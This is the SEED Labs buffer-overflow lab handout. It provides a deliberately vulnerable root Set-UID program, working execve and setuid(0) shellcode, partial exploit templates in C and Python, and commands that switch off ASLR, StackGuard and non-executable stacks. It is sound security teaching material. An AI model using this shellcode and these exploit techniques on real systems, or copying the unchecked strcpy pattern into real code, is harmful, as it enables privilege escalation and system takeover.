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1 Overview

The learning objective of this lab is for students to gain the first-hand experience on buffer-overflow vulner-
ability by putting what they have learned about the vulnerability from class into action. Buffer overflow is
defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated
fixed length buffers. This vulnerability can be used by a malicious user to alter the flow control of the
program, leading to the execution of malicious code.

In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop
a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students
will be guided to walk through several protection schemes that have been implemented in the operating
system to counter against buffer-overflow attacks. Students need to evaluate whether the schemes work or
not and explain why. This lab covers the following topics:

• Buffer overflow vulnerability and attack
• Stack layout in a function invocation
• Address randomization, Non-executable stack, and StackGuard
• Shellcode. We have a separate lab on how to write shellcode from scratch.
• The return-to-libc attack, which aims at defeating the non-executable stack countermeasure, is covered

in a separate lab.

Customization by instructor. Instructors should customize this lab by choosing a value for the BUF SIZE
constant, which is used during the compilation of the vulnerable program. Different values can make the
solutions different. Please pick a value between 0 and 400 for this lab.

The BUF SIZE value for this lab is:

Readings and videos. Detailed coverage of the buffer-overflow attack can be found in the following:

• Chapter 4 of the SEED Book, Computer & Internet Security: A Hands-on Approach, 2nd Edition, by
Wenliang Du. See details at https://www.handsonsecurity.net.

• Section 4 of the SEED Lecture at Udemy, Computer Security: A Hands-on Approach, by Wenliang
Du. See details at https://www.handsonsecurity.net/video.html.

Lab environment. This lab has been tested on our pre-built Ubuntu 16.04 VM, which can be downloaded
from the SEED website.
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2 Lab Tasks

2.1 Turning Off Countermeasures

You can execute the lab tasks using our pre-built Ubuntu virtual machines. Ubuntu and other Linux
distributions have implemented several security mechanisms to make the buffer-overflow attack difficult.
To simplify our attacks, we need to disable them first. Later on, we will enable them one by one, and see
whether our attack can still be successful.

Address Space Randomization. Ubuntu and several other Linux-based systems uses address space ran-
domization to randomize the starting address of heap and stack. This makes guessing the exact addresses
difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable this
feature using the following command:

$ sudo sysctl -w kernel.randomize_va_space=0

The StackGuard Protection Scheme. The GCC compiler implements a security mechanism called Stack-
Guard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work.
We can disable this protection during the compilation using the -fno-stack-protector option. For example,
to compile a program example.c with StackGuard disabled, we can do the following:

$ gcc -fno-stack-protector example.c

Non-Executable Stack. Ubuntu used to allow executable stacks, but this has now changed: the binary
images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e.,
they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide
whether to make the stack of this running program executable or non-executable. This marking is done
automatically by the recent versions of gcc, and by default, stacks are set to be non-executable. To change
that, use the following option when compiling programs:

For executable stack:
$ gcc -z execstack -o test test.c

For non-executable stack:
$ gcc -z noexecstack -o test test.c

Configuring /bin/sh (Ubuntu 16.04 VM only). In both Ubuntu 12.04 and Ubuntu 16.04 VMs, the
/bin/sh symbolic link points to the /bin/dash shell. However, the dash program in these two VMs
have an important difference. The dash shell in Ubuntu 16.04 has a countermeasure that prevents itself
from being executed in a Set-UID process. Basically, if dash detects that it is executed in a Set-UID
process, it immediately changes the effective user ID to the process’s real user ID, essentially dropping the
privilege. The dash program in Ubuntu 12.04 does not have this behavior.

Since our victim program is a Set-UID program, and our attack relies on running /bin/sh, the
countermeasure in /bin/dash makes our attack more difficult. Therefore, we will link /bin/sh to
another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit
more effort, the countermeasure in /bin/dash can be easily defeated). We have installed a shell program
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called zsh in our Ubuntu 16.04 VM. We use the following commands to link /bin/sh to zsh (there is
no need to do these in Ubuntu 12.04):

$ sudo ln -sf /bin/zsh /bin/sh

2.2 Task 1: Running Shellcode

Before starting the attack, let us get familiar with the shellcode. A shellcode is the code to launch a shell. It
has to be loaded into the memory so that we can force the vulnerable program to jump to it. Consider the
following program:

#include <stdio.h>

int main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);

}

The shellcode that we use is just the assembly version of the above program. The following program
shows how to launch a shell by executing a shellcode stored in a buffer. Please compile and run the following
code, and see whether a shell is invoked. You can download the program from the website. If you are
interested in writing your own shellcode, we have a separate SEED lab for that purpose.

/* call_shellcode.c: You can get it from the lab’s website */

/* A program that launches a shell using shellcode */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */

;

int main(int argc, char **argv)
{

char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );

}
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Compile the code above using the following gcc command. Run the program and describe your ob-
servations. Please do not forget to use the execstack option, which allows code to be executed from the
stack; without this option, the program will fail.

$ gcc -z execstack -o call_shellcode call_shellcode.c

The shellcode above invokes the execve() system call to execute /bin/sh. A few places in this
shellcode are worth mentioning. First, the third instruction pushes ”//sh”, rather than ”/sh” into the stack.
This is because we need a 32-bit number here, and ”/sh” has only 24 bits. Fortunately, ”//” is equivalent to
“/”, so we can get away with a double slash symbol. Second, before calling the execve() system call, we
need to store name[0] (the address of the string), name (the address of the array), and NULL to the %ebx,
%ecx, and %edx registers, respectively. Line 5 stores name[0] to %ebx; Line 8 stores name to %ecx;
Line 9 sets %edx to zero. There are other ways to set %edx to zero (e.g., xorl %edx, %edx); the one
(cdq) used here is simply a shorter instruction: it copies the sign (bit 31) of the value in the EAX register
(which is 0 at this point) into every bit position in the EDX register, basically setting %edx to 0. Third, the
system call execve() is called when we set %al to 11, and execute “int $0x80”.

2.3 The Vulnerable Program

You will be provided with the following program, which has a buffer-overflow vulnerability in Line À. Your
job is to exploit this vulnerability and gain the root privilege.

/* Vunlerable program: stack.c */
/* You can get this program from the lab’s website */

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/* Changing this size will change the layout of the stack.

* Instructors can change this value each year, so students

* won’t be able to use the solutions from the past.

* Suggested value: between 0 and 400 */
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif

int bof(char *str)
{

char buffer[BUF_SIZE];

/* The following statement has a buffer overflow problem */
strcpy(buffer, str); À

return 1;
}

int main(int argc, char **argv)
{

char str[517];
FILE *badfile;
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/* Change the size of the dummy array to randomize the parameters
for this lab. Need to use the array at least once */

char dummy[BUF_SIZE]; memset(dummy, 0, BUF_SIZE);

badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;

}

The above program has a buffer overflow vulnerability. It first reads an input from a file called badfile,
and then passes this input to another buffer in the function bof(). The original input can have a maximum
length of 517 bytes, but the buffer in bof() is only BUF SIZE bytes long, which is less than 517. Be-
cause strcpy() does not check boundaries, buffer overflow will occur. Since this program is a root-owned
Set-UID program, if a normal user can exploit this buffer overflow vulnerability, the user might be able
to get a root shell. It should be noted that the program gets its input from a file called badfile. This
file is under users’ control. Now, our objective is to create the contents for badfile, such that when the
vulnerable program copies the contents into its buffer, a root shell can be spawned.

Compilation. To compile the above vulnerable program, do not forget to turn off the StackGuard and the
non-executable stack protections using the -fno-stack-protector and "-z execstack" options.
After the compilation, we need to make the program a root-owned Set-UID program. We can achieve this
by first change the ownership of the program to root (Line À), and then change the permission to 4755 to
enable the Set-UID bit (Line Á). It should be noted that changing ownership must be done before turning
on the Set-UID bit, because ownership change will cause the Set-UID bit to be turned off.

// Note: N should be replaced by the value set by the instructor
$ gcc -DBUF_SIZE=N -o stack -z execstack -fno-stack-protector stack.c
$ sudo chown root stack À
$ sudo chmod 4755 stack Á

For instructors. To prevent students from using the solutions from the past (or from those posted on the
Internet), instructors can change the value for BUF SIZE by requiring students to compile the server code
using a different BUF SIZE value. Without the -DBUF SIZE option, BUF SIZE is set to the default value
24 (defined in the program). When this value changes, the layout of the stack will change, and the solution
will be different.

2.4 Task 2: Exploiting the Vulnerability

We provide you with a partially completed exploit code called "exploit.c". The goal of this code is to
construct contents for badfile. In this code, the shellcode is given to you. You need to develop the rest.

/* exploit.c */

/* A program that creates a file containing code for launching shell */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>



SEED Labs – Buffer Overflow Vulnerability Lab 6

char shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x50" /* Line 2: pushl %eax */
"\x68""//sh" /* Line 3: pushl $0x68732f2f */
"\x68""/bin" /* Line 4: pushl $0x6e69622f */
"\x89\xe3" /* Line 5: movl %esp,%ebx */
"\x50" /* Line 6: pushl %eax */
"\x53" /* Line 7: pushl %ebx */
"\x89\xe1" /* Line 8: movl %esp,%ecx */
"\x99" /* Line 9: cdq */
"\xb0\x0b" /* Line 10: movb $0x0b,%al */
"\xcd\x80" /* Line 11: int $0x80 */

;

void main(int argc, char **argv)
{

char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
/* ... Put your code here ... */

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);

}

After you finish the above program, compile and run it. This will generate the contents for badfile.
Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to
get a root shell:

Important: Please compile your vulnerable program first. Please note that the program exploit.c,
which generates the badfile, can be compiled with the default StackGuard protection enabled. This is
because we are not going to overflow the buffer in this program. We will be overflowing the buffer in stack.c,
which is compiled with the StackGuard protection disabled.

$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
# <---- Bingo! You’ve got a root shell!

It should be noted that although you have obtained the “#” prompt, your real user id is still yourself (the
effective user id is now root). You can check this by typing the following:

# id
uid=(500) euid=0(root)

Many commands will behave differently if they are executed as Set-UID root processes, instead of
just as root processes, because they recognize that the real user id is not root. To solve this problem,
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you can run the following program to turn the real user id to root. This way, you will have a real root
process, which is more powerful.

void main()
{

setuid(0); system("/bin/sh");
}

Python Version. For students who are more familiar with Python than C, we have provided a Python
version of the above C code. The program is called exploit.py, which can be downloaded from the
lab’s website. Students need to replace some of the values in the code with the correct ones.

#!/usr/bin/python3

import sys

shellcode= (
"\x31\xc0" # xorl %eax,%eax
"\x50" # pushl %eax
"\x68""//sh" # pushl $0x68732f2f
"\x68""/bin" # pushl $0x6e69622f
"\x89\xe3" # movl %esp,%ebx
"\x50" # pushl %eax
"\x53" # pushl %ebx
"\x89\xe1" # movl %esp,%ecx
"\x99" # cdq
"\xb0\x0b" # movb $0x0b,%al
"\xcd\x80" # int $0x80
"\x00"

).encode(’latin-1’)

# Fill the content with NOP’s
content = bytearray(0x90 for i in range(517))

# Put the shellcode at the end
start = 517 - len(shellcode)
content[start:] = shellcode

#########################################################################
ret = 0xAABBCcDD # replace 0xAABBCCDD with the correct value
offset = 0 # replace 0 with the correct value

# Fill the return address field with the address of the shellcode
content[offset:offset + 4] = (ret).to_bytes(4,byteorder=’little’)
#########################################################################

# Write the content to badfile
with open(’badfile’, ’wb’) as f:

f.write(content)
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2.5 Task 3: Defeating dash’s Countermeasure

As we have explained before, the dash shell in Ubuntu 16.04 drops privileges when it detects that the
effective UID does not equal to the real UID. This can be observed from dash program’s changelog. We
can see an additional check in Line À, which compares real and effective user/group IDs.

// https://launchpadlibrarian.net/240241543/dash_0.5.8-2.1ubuntu2.diff.gz
// main() function in main.c has following changes:

++ uid = getuid();
++ gid = getgid();

++ /*
++ * To limit bogus system(3) or popen(3) calls in setuid binaries,
++ * require -p flag to work in this situation.
++ */
++ if (!pflag && (uid != geteuid() || gid != getegid())) { À
++ setuid(uid);
++ setgid(gid);
++ /* PS1 might need to be changed accordingly. */
++ choose_ps1();
++ }

The countermeasure implemented in dash can be defeated. One approach is not to invoke /bin/sh in
our shellcode; instead, we can invoke another shell program. This approach requires another shell program,
such as zsh to be present in the system. Another approach is to change the real user ID of the victim process
to zero before invoking the dash program. We can achieve this by invoking setuid(0) before executing
execve() in the shellcode. In this task, we will use this approach. We will first change the /bin/sh
symbolic link, so it points back to /bin/dash:

$ sudo ln -sf /bin/dash /bin/sh

To see how the countermeasure in dash works and how to defeat it using the system call setuid(0),
we write the following C program. We first comment out Line À and run the program as a Set-UID
program (the owner should be root); please describe your observations. We then uncomment Line À and
run the program again; please describe your observations.

// dash_shell_test.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{

char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;

// setuid(0); À
execve("/bin/sh", argv, NULL);

return 0;
}
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The above program can be compiled and set up using the following commands (we need to make it
root-owned Set-UID program):

$ gcc dash_shell_test.c -o dash_shell_test
$ sudo chown root dash_shell_test
$ sudo chmod 4755 dash_shell_test

From the above experiment, we will see that seuid(0) makes a difference. Let us add the assembly
code for invoking this system call at the beginning of our shellcode, before we invoke execve().

char shellcode[] =
"\x31\xc0" /* Line 1: xorl %eax,%eax */
"\x31\xdb" /* Line 2: xorl %ebx,%ebx */
"\xb0\xd5" /* Line 3: movb $0xd5,%al */
"\xcd\x80" /* Line 4: int $0x80 */
// ---- The code below is the same as the one in Task 2 ---
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"

The updated shellcode adds 4 instructions: (1) set ebx to zero in Line 2, (2) set eax to 0xd5 via Line
1 and 3 (0xd5 is setuid()’s system call number), and (3) execute the system call in Line 4. Using this
shellcode, we can attempt the attack on the vulnerable program when /bin/sh is linked to /bin/dash.
Using the above shellcode to modify exploit.c or exploit.py; try the attack from Task 2 again and
see if you can get a root shell. Please describe and explain your results.

2.6 Task 4: Defeating Address Randomization

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have
219 = 524, 288 possibilities. This number is not that high and can be exhausted easily with the brute-force
approach. In this task, we use such an approach to defeat the address randomization countermeasure on our
32-bit VM. First, we turn on the Ubuntu’s address randomization using the following command. We run the
same attack developed in Task 2. Please describe and explain your observation.

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2

We then use the brute-force approach to attack the vulnerable program repeatedly, hoping that the ad-
dress we put in the badfile can eventually be correct. You can use the following shell script to run the
vulnerable program in an infinite loop. If your attack succeeds, the script will stop; otherwise, it will keep
running. Please be patient, as this may take a while. Let it run overnight if needed. Please describe your
observation.

#!/bin/bash

SECONDS=0
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value=0

while [ 1 ]
do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
./stack

done

2.7 Task 5: Turn on the StackGuard Protection

Before working on this task, remember to turn off the address randomization first, or you will not know
which protection helps achieve the protection.

In our previous tasks, we disabled the StackGuard protection mechanism in GCC when compiling the
programs. In this task, you may consider repeating Task 2 in the presence of StackGuard. To do that,
you should compile the program without the -fno-stack-protector option. For this task, you will
recompile the vulnerable program, stack.c, to use GCC StackGuard, execute task 1 again, and report
your observations. You may report any error messages you observe.

In GCC version 4.3.3 and above, StackGuard is enabled by default. Therefore, you have to disable
StackGuard using the switch mentioned before. In earlier versions, it was disabled by default. If you use a
older GCC version, you may not have to disable StackGuard.

2.8 Task 6: Turn on the Non-executable Stack Protection

Before working on this task, remember to turn off the address randomization first, or you will not know
which protection helps achieve the protection.

In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable
program using the noexecstack option, and repeat the attack in Task 2. Can you get a shell? If not, what
is the problem? How does this protection scheme make your attacks difficult. You should describe your
observation and explanation in your lab report. You can use the following instructions to turn on the non-
executable stack protection.

$ gcc -o stack -fno-stack-protector -z noexecstack stack.c

It should be noted that non-executable stack only makes it impossible to run shellcode on the stack, but it
does not prevent buffer-overflow attacks, because there are other ways to run malicious code after exploiting
a buffer-overflow vulnerability. The return-to-libc attack is an example. We have designed a separate lab for
that attack. If you are interested, please see our Return-to-Libc Attack Lab for details.

If you are using our Ubuntu 12.04/16.04 VM, whether the non-executable stack protection works or
not depends on the CPU and the setting of your virtual machine, because this protection depends on the
hardware feature that is provided by CPU. If you find that the non-executable stack protection does not
work, check our document (“Notes on Non-Executable Stack”) that is linked to the lab’s web page, and see
whether the instruction in the document can help solve your problem. If not, then you may need to figure
out the problem yourself.
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3 Guidelines

Chapter 4 of the SEED book titled Computer & Internet Security: A Hands-on Approach, 2nd edition
provides detailed explanation on how buffer-overflow attacks work and how to launch such an attack. We
briefly summarize some of the important guidelines in this section.

Stack Layout. We can load the shellcode into badfile, but it will not be executed because our instruc-
tion pointer will not be pointing to it. One thing we can do is to change the return address to point to the
shellcode. But we have two problems: (1) we do not know where the return address is stored, and (2) we
do not know where the shellcode is stored. To answer these questions, we need to understand the stack
layout when the execution enters a function. Figure 1 gives an example of stack layout during a function
invocation.

str (a pointer to a string)

Return Address

Previous Frame Pointer (FP)

buffer[0] … buffer[11]

variable_a

void func (char *str) {

char buffer[12];

int  variable_a;

strcpy (buffer, str);

}

Int main() {

char *str = “I am greater than 12 bytes”;

func (str);

}

C
u
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n
t 
F
ra
m
e

Current FP

(a) A code example (b) Active Stack Frame in func()

High Address

Low Address

Figure 1: An example of stack layout during a function invocation

Finding the address of the memory that stores the return address. From the figure, we know, if we
can find out the address of buffer[] array, we can calculate where the return address is stored. Since
the vulnerable program is a Set-UID program, you can make a copy of this program, and run it with your
own privilege; this way you can debug the program (note that you cannot debug a Set-UID program).
In the debugger, you can figure out the address of buffer[], and thus calculate the starting point of the
malicious code. You can even modify the copied program, and ask the program to directly print out the
address of buffer[]. The address of buffer[] may be slightly different when you run the Set-UID
copy, instead of your copy, but you should be quite close.

If the target program is running remotely, and you may not be able to rely on the debugger to find out
the address. However, you can always guess. The following facts make guessing a quite feasible approach:

• Stack usually starts at the same address.

• Stack is usually not very deep: most programs do not push more than a few hundred or a few thousand
bytes into the stack at any one time.

• Therefore the range of addresses that we need to guess is actually quite small.
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Finding the starting point of the malicious code. If you can accurately calculate the address of buffer[],
you should be able to accurately calculate the starting point of the malicious code. Even if you cannot accu-
rately calculate the address (for example, for remote programs), you can still guess. To improve the chance
of success, we can add a number of NOPs to the beginning of the malicious code; therefore, if we can jump
to any of these NOPs, we can eventually get to the malicious code. Figure 2 depicts the attack.

buffer [0] …... buffer [11]

Previous FP

Return Address

str

Malicious Code

buffer [0] …... buffer [11]

Previous FP

Return Address

str

Malicious Code

NOP

NOP

NOP

…… (many NOP’s)

(a) Jump to the malicious code (b) Improve the chance
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Figure 2: Illustration of the buffer-overflow attack

Storing a long integer in a buffer in C: In your exploit program (the C version), you might need to store
an long integer (4 bytes) into an buffer starting at buffer[i]. Since each buffer space is one byte long,
the integer will actually occupy four bytes starting at buffer[i] (i.e., buffer[i] to buffer[i+3]).
Because buffer and long are of different types, you cannot directly assign the integer to buffer; instead you
can cast the buffer+i into an long pointer, and then assign the integer. The following code shows how
to assign an long integer to a buffer starting at buffer[i]:

char buffer[20];
long addr = 0xFFEEDD88;

long *ptr = (long *) (buffer + i);

*ptr = addr;

4 Submission

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you
have observed. You also need to provide explanation to the observations that are interesting or surprising.
Please also list the important code snippets followed by explanation. Simply attaching code without any
explanation will not receive credits.


